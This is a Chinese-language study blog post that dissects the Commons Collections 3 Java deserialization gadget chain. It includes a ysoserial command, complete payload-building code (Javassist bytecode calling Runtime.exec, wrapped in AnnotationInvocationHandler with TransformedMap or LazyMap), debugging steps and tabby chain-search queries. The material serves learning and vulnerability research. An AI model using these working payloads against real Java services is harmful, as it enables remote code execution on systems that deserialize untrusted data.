前言:cc2完成了,继续学习cc3,自己会发现明显现在跟cc链的速度会快很多,一点点积累,一点点进步!
注意:CommonsCollections3不能在Java 8u71以上利用,也不是真的不能,通过部分修改,也可以实现利用,这些放在后面来讲,这篇文章来讲cc3
漏洞复现
ysoserial执行:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "calc" > cc3.txt
测试代码:
该调用链依赖的是commons-collections:3.1的包
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
测试环境:jdk7u80
public class Test1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("cc3.txt"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
可以发现,成功执行命令!
调用链分析
我们现来看下ysoserial的调用链是怎么样的,结果打开cc3的实现,只发现了下面这一句话,它说变化的地方只有 cc1中使用InvokerTransformer替换成了InstantiateTransformer,其他的则没有变化
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.
*/
在cc1中使用的依赖项也是commons-collections:3.1的包,看到上面的变化我第一的反应就是 调用任意类除了InvokerTransformer类,InstantiateTransformer这个类也能使用任意方法调用吗
接着来看下InstantiateTransformer这个类,它的定义如下,可以看到它同样实现了transform方法
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
重点的部分则就是如下,它传入的第一个参数是 为Class类型的数组iParamTypes,第二个参数是 一个实例化对象的数组iArgs,通过这两个属性,当input对象传入的时候,来作为实现实例化该input Class对象的实例化对象
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
直接看ysoserial如何构造的,自己想着脑壳疼...
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) }
);
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl } )
};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
Object templatesImpl = Gadgets.createTemplatesImpl(command);
,可以看到显示创建了一个templatesImpl的对象,createTemplatesImpl这个其实在cc2中出现过了,cc2中则是通过控制这个templatesImpl中的_bytecodes中的字节数据从而进行命令执行runtime,在cc2中讲到过,所以这里就不继续讲,文件在ysoserial/payloads/util/Gadgets.java
中
构造了一个templatesImpl对象之后,那么还需要通过各种方法来进行实例化这个templatesImpl中的_bytecodes字节码数据,一般就是先定义Class对象,接着就是进行实例化,跟在cc2中分析的一样
那么在cc3中是如何实现的呢?显示创建了ChainedTransformer对象,准备进行构造调用链的操作,这里发现它在这里只存储了new ConstantTransformer(1)
,而在后面进行反射替换,这里原因不清楚为什么它要这样写,后面自己也给了一个例子,不通过反射来进行设置transformers属性,而是直接构造一个调用链,将transformers直接进行作为参数实例化的ChainedTransformer也一样可以进行调用,没有任何的影响!
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) }
);
接着就是构造transformers,发现这里执行命令的类不是Runtime.class,而是TrAXFilter.class,通过上面的观察我们知道了InstantiateTransformer能够进行实例化某个对象的任意构造方法的对象,那么这里就是构造TrAXFilter这个对象
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl } )
};
我们来到TrAXFilter中进行观察,它是如何进行的?看这个类的TrAXFilter的构造函数,它正好需要这个类Templates,那么借此配合ChainedTransformer构造成的调用链能够生成一个TrAXFilter的实例对象
public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _overrideDefaultParser;
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}
接着在构造函数中又会看到_transformer = (TransformerImpl) templates.newTransformer();
,有没有梦回cc2的感觉,cc2中也是通过newTransformer来进行利用
当在构造函数中_templates = templates;
,接着又是_transformer = (TransformerImpl) templates.newTransformer();
这里不重新讲述了,因为在cc2中讲到过,cc2利用的就是通过newTransformer来进行链式调用实现的命令执行,重点在getTransletInstance中,这其中会进行定义templates对象中的_bytecodes来进行实例化,最终执行命令
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
到这里我们可以总结下自己已经实现的代码:
public class Test2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates, targetByteCodes);
name.set(templates, "aaa");
tfactory.set(templates, new TransformerFactoryImpl());
// 进行调用
templates.newTransformer();
}
}
运行结果:
到这里其实已经可以进行命令执行了,但是我们还需要进行触发条件,那么用谁去触发呢?接下来就是包装,也就是去找到有类能够帮我们进行触发newTransformer这个函数
这时候不知道你有没有想起cc1链又是如何进行实现的?这里用AnnotationInvocationHandler来作为触发点,该对象存在存在readObject则可以反序列化,并且其中会调用transformedMap的setValue方法来触发链式调用
最终构造如下:
public class Test2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates, targetByteCodes);
name.set(templates, "test");
tfactory.set(templates, new TransformerFactoryImpl());
// 进行调用
//templates.newTransformer();
// 创建Map对象
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templates } )
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object instance = declaredConstructor.newInstance(Target.class, transformedMap);
FileOutputStream fileOutputStream = new FileOutputStream("cc3_t.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
}
}
到这里,一条完整的cc3 命令执行链就已经成功构建了,接下来继续来进行调试,上面通过序列化将数据写入到了cc3_t.txt中,下面来调试反序列化
调试反序列化过程
代码如下:
public class Test1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("cc3_t.txt"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
在AnnotationInvocationHandler.readObject下断点
接着开始进行调试,首先是defaultReadObject开始进行反序列化数据,这里反序列化出一个HashMap对象,也就是上面代码中的transformedMap对象
接着下面就是开始进行触发,这里是用setValue进行触发
checkSetValue
其中调用了transform,而transformedMap中的valueTransformer是一个ChainedTransformer的调用链
开始进行链式调用
InstantiateTransformer的transform方法进行任意对象实例化
这里的话是准备实例化TrAXFilter对象
接着又是调用newTransformer
getTransletInstance方法对其中的_bytecodes进行实例化,最终触发命令执行
结果如下:
参考文章:
问题思考
1、为什么ysoserial中构造的不是跟上面一样的?
当你在看ysoserial中的cc3构造的时候,你会看到后面的代码是如下,跟我上面构造的对象不一样
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
这里是通过LazyMap来进行触发的,这个是另外一种方法,我们也可以来学习下,它是如何触发的呢?
这里通过LazyMap来进行包装,其实到这里跟上面都差不多,最难理解的是接下来的操作
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
这两句话帮我们做了很多事情,看到InvocationHandler,那么肯定就跟动态代理有关
==============第一层InvocationHandler
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
跟进去可以发现先是创建InvocationHandler,接着就是实例化对应的一个代理对象最后给了mapProxy变量,这里的mapProxy的handler中的memberValues为LazyMap,这样做的结果就会导致,当我们反序列化的时候在AnnotationInvocationHandler类调用invoke的方法的时候,就会继续触发到Map中继续执行代码
==============第二层InvocationHandler
接着看final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
,这里为什么又要进行创建一个InvocationHandler呢?
跟进来看下,它先通过getFirstCtor又获取了AnnotationInvocationHandler的构造器,然后又再次通过newInstance构造了一个动态代理的对象AnnotationInvocationHandler
这里的话跟前面不一样,前面是创建代理对象(这个的目的是为了当AnnotationInvocationHandler调用invoke之后里面的函数能够触发get方法来进行继续执行),后面的代码又创建一个动态代理对象,为了反序列化readobject的时候调用中AnnotationInvocationHandler的memberValues的entrySet方法。
别人写的(与yso中实现的一样):
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
最终的流程图:
调试过程
环境:jdk7u80
F9
F9
F9
F9
F9
参考文章:https://www.anquanke.com/post/id/230788#h3-7
tabby反序列化链条挖掘
source:任意类#readObject
chain:
sink:java.lang.reflect.Constructor#newInstance
这里的sink为什么选取的是java.lang.reflect.Constructor#newInstance
,这里我们已经限制了transform
方法,所以我们是可以先通过ConstantTransformer来进行控制,那么可以想下如果我们可以控制Constructor的newInstance的话,那么正好可以成功实例化一个对象
match (source:Method) where source.NAME="readObject"
match (sink:Method{CLASSNAME:"java.lang.reflect.Constructor", NAME:"newInstance"})
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 5) yield path
where any(n in nodes(path) where n.NAME="transform" and n.CLASSNAME="org.apache.commons.collections.Transformer")
return * limit 100
可以发现是可以找到一条通过InstantiateTransformer类来实现的反序列化链
jdk8的情况下,可以看到三条readObject的路径,除了AnnotationInvocationHandler的,还有java.security.Permissions和javax.sql.rowset.serial.SQLInputImpl
虽然javax.sql.rowset.serial.SQLInputImpl是存在readObject并且是能利用的,但是该类并没有实现序列化接口,所以无法进行利用
java.security.Permissions中的话,相关Map字段无法进行控制,如下所示,所以同样无法进行利用